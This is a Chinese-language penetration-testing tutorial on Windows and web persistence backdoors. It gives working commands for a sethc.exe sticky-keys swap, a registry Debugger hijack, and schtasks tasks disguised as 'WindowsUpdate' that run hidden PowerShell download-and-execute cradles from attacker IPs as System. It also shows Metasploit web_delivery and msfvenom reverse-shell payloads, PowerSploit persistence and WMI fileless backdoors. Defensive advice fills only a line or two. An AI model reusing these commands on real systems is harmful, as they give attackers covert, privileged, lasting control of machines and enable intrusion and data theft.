操作系统后门,泛指绕过目标系统安全控制体制的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法。系统维护人员可以清除操作系统中的后门,以恢复目标系统安全控制体系的正规用户认证过程。
一、操作系统后门
1.1 粘滞键后门
粘滞键后门是一种比较常见的持续控制方法。
在Windows主机上连续按 5 次 “shift” 键,就可以调处粘滞键。Windows 的粘滞键主要是为无法同时按多个按键的用户设计的。例如,在使用组合键 “Ctrl+P” 时,用户需要同时按下 “Ctrl” 和 “P” 两个键,如果使用粘滞键来实现组合键 “Ctrl+P” 的功能,用户只需要按一个键。
连续按 5 次 “shift” 键,将弹出命令行窗口。因为此时用户并未登录,可以直接以 System 权限执行系统命令、创建管理员用户、登录服务器等。
那么我们用其他的 exe 文件替换掉他,便会执行我们换掉的 exe 。
比如我们换个 cmd.exe , 就可在登录屏保界面连续按 5 次 shift 键 就可调出 cmd 窗口,因为此时用户并未登录,所以权限为 system 。
在Windows Vista之后的版本中,如果要替换sethc.exe,我们需要用到trustedinstaller权限,这是一个高于Administrator的权限。
修改方法见: http://hackergu.com/power-sethc-cmd/ 和 http://www.xitongcheng.com/jiaocheng/win7_article_7880.html
用可执行文件 sethc.exe.bak 替换 windows\system32
目录下的粘滞键可执行文件 sethc.exe,命令如下:
cd windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
运行以上命令,在目标主机的远程登录窗口中按 5 次 “shift” 键即可触发后门,目标主机上会有一个命令框一闪而过:
针对粘滞键后门,可以采取如下防范措施:
- 在远程登录服务器时,连续按 5 次 “shift” 键,判断服务器是否被入侵。
- 拒绝使用 sethc.exe 或者在 “控制面板” 中关闭 “启用粘滞键” 选项。
1.2 注册表注入后门 (映像劫持)
在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键 HKCU:Software\Microsoft\Windows\Current\Run
中 (键名可以随便设置)。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run // 开启时启动程序
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit // 登录时启动程序
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
容易被查杀
1.3 计划任务后门
计划任务在Windows7及之前版本的操作系统中使用at命令调用,在从Windows8 版本开始的操作系统中使用schtasks 命令调用。计划任务后门分为管理员权限和普通用户权限两种。管理员权限的后门可以设置更多的计划任务,例如重启后运行等。 计划任务后门的基本命令如下。该命令表示每小时执行一次 notepad.exe。
schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
使用schtasks /delete /tn updater
即可删除。
1.3.1 MSF中模拟计划任务后门
可模拟在目标系统中快速建立会话行为。因为该行为不会被写入磁盘,所以安全防护软件不会对该行为进行检测。
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.78.131
set lport 443
set URIPATH /
exploit
在目标系统中输入生成的后门代码,生成新的会话 (域控机器)
schtasks /create /tn WindowsUpdate /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://192.168.78.131:8080/"))'" /sc onlogon /ru System
目标机子访问网址,即可得到 session。
(1)用户登录
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onlogon /ru System
(2)系统启动
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onstart /ru System
(3)系统空闲
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onidle /i 1
1.3.2 在 powersploit 中模拟计划任务后门
使用PowerShell 版本的PowerSploit渗透测试框架的 Persistence模块,可以模拟生成一个自动创建计划任务的后门脚本。
将PowerSploit下的Persistence.psm1模块(https://github.com/PowerShellMafia/PowerSploit/blob/master/Persistence/Persistence.psm1)上传到目标系统中,输人如下命令。
Import-Module ./Persistence.psm1
然后,输入如下命令,使用计划任务的方法创建后门。该后门会在计算机处于空闲状态时执行,执行成功后会生成名为 “Persistence.ps1” 的脚本:
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
Add-Persistence -FilePath ./shuteer.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
在上述命令中,shuteer.ps1 是计划任务要执行的 payload。可以执行如下命令来生成该文件:
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.78.131 lport=443 -f psh-reflection -o shuteer.ps1
将 Persistence.ps1 放到 Web 服务器上,在目标主机中利用 powershell 加载并运行它。当主机处于空闲状态时,就会执行如下命令,反弹一个 meterpreter 会话:
powershell -nop -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.78.131/Persistence.ps1')"
1.3.3 meterpreter 后门
- Persistence
1.3.4 WMI 后门
WMI型后门只能由具有管理员权限的用户运行。WMI型后门通常是用PowerShell编写的可以直接从新的WMI属性中读取和执行后门代码、给代码加密。通过这种方法,攻击者可以在系统中安装一个具有持久性的后门,且不会在系统磁盘中留下任何文件。WMI型后门主要使用了WMI的两个特征,即无文件和无进程。其基本原理是:将代码加密存储于WMI中,达到所谓的“无文件”;当设定的条件被满足时,系统将自动启动PowerShell 进程去执行后门程序,执行后,进程将会消失(持续时间根据后门的运行情况而定,一般是几秒).达到所谓的“无进程”。 Empire下的Invoke-WMI模块可以实现这种后门的利用。
二、web后门
Web后门俗称WebShell,是一段包含 ASP、ASP.NET、PHP、JSP程序的网页代码。这些代码都运行在服务器上。攻击者会通过一-段精心设计的代码, 在服务器上进行一些危险的操作, 以获取某些敏感的技术信息,或者通过渗透和提权来获得服务器的控制权。IDS、杀毒软件和安全工具一般都能将攻击者设置的Web后门检测出来。不过,有些攻击者会编写专用的Web后门来隐藏自己的行为。
2.1 Nishang 下的 webshell
Nishang 是一款针对 PowerShell 的渗透测试工具,集成了框架、脚本(包括下载和执行、键盘记录、DNS、延时命令等脚本) 和 各种 payload,广泛应用于渗透测试的各个阶段。